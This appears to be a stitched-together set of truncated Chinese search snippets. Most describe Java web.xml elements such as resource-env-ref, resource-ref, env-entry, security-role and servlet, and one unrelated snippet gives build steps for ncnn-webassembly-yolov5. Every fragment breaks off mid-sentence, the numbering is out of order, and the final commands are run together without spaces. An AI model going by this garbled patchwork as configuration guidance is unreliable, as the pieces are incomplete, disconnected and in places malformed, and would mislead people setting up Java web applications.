- 示例:`<resource-env-ref><resource-env-ref-name>jdbc/myDataSource</resource-env-ref-name><resource-env-ref-type>javax.sql.DataSource</resource-env-ref-type></resource-env-ref>`。 16. **resource-...
最后,`<resource-ref>`和`<env-entry>`元素可用于通过JNDI查找和配置应用资源,如数据源或JMS队列。 `web.xml`配置文件是Java Web应用的基础配置中心,它确保了应用的正常运行和高效管理。理解并熟练运用`web.xml`...
18. `<env-entry>`:环境入口,用于传递系统环境变量。 三、关键配置详解 1. Servlet配置: - `<servlet>`:定义Servlet,如`<servlet-name>`指定Servlet名称,`<servlet-class>`指定Servlet的全限定类名。 - `...
- **resource-env-ref** 和 **resource-ref**: 用于声明和引用 J2EE 连接资源,如数据库连接池。 - **security-constraint** 和 **login-config**: 配置安全约束和登录机制,保护 Web 资源。 #### 4. **元素的可...
`<env-entry>` 元素用于声明 Web 应用程序的环境项。 * `<description>` 元素:用于声明描述信息。 * `<env-entry-name>` 元素:用于指定一个相对于 java:comp/env 环境 JNDI 名。 * `<env-entry-type>` 元素:用于...
- **`<env-entry>`**:声明Web应用的环境项,例如JNDI条目等。 - **示例**: ```xml <security-role> <role-name>admin</role-name> </security-role> <env-entry> <env-entry-name>myDB</env-entry-name> ...
ncnn-webassembly-yolov5打开https://nihui.github.io/ncnn-webassembly-yolov5并享受构建和...git clone https://github.com/nihui/ncnn-webassembly-yolov5.gitcd ncnn-webassembly-yolov5安装 emscriptengit clone ...